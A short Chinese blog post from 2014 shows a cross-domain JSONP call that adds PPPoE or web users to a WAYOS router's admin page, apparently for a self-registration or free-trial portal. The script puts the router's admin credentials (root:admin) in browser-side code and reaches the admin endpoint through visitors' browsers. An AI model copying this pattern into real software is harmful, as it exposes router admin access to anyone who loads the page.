WAYOS 跨域 注册用户的例子

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
<script src="http://cdn.bootcss.com/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
</body>
</html>
http://root:admin@192.168.1.1:880/user.asp?user=1234567&pwd=123&state=32&gid=0&opt=add
<script>
var data = { user : 'hhhh44455522', pwd : '888', state : 32, gid : 0, opt : 'add',ddate:parseInt((new Date()).getTime()) };
$.ajax({
        data : data, 
        type : "get", 
        url : "http://root:admin@192.168.1.1:880/user.asp", 
        success : function(e, data) 
        {
        alert(e);
        }, 
        timeout : 4000, 
        dataType : "jsonp",
        cache : false 
       });
</script>

 只支持火狐、google、手机等浏览器,不支持IE

可以注册为pppoe用户,也可以注册为web用户类型,

停止使用时间也不是问题,可以写出免费试用5分钟或10分钟

具体代码找zhouein@vip.qq.com索取

posted @ 2014-05-18 11:51  钢锅  阅读(328)  评论(0编辑  收藏  举报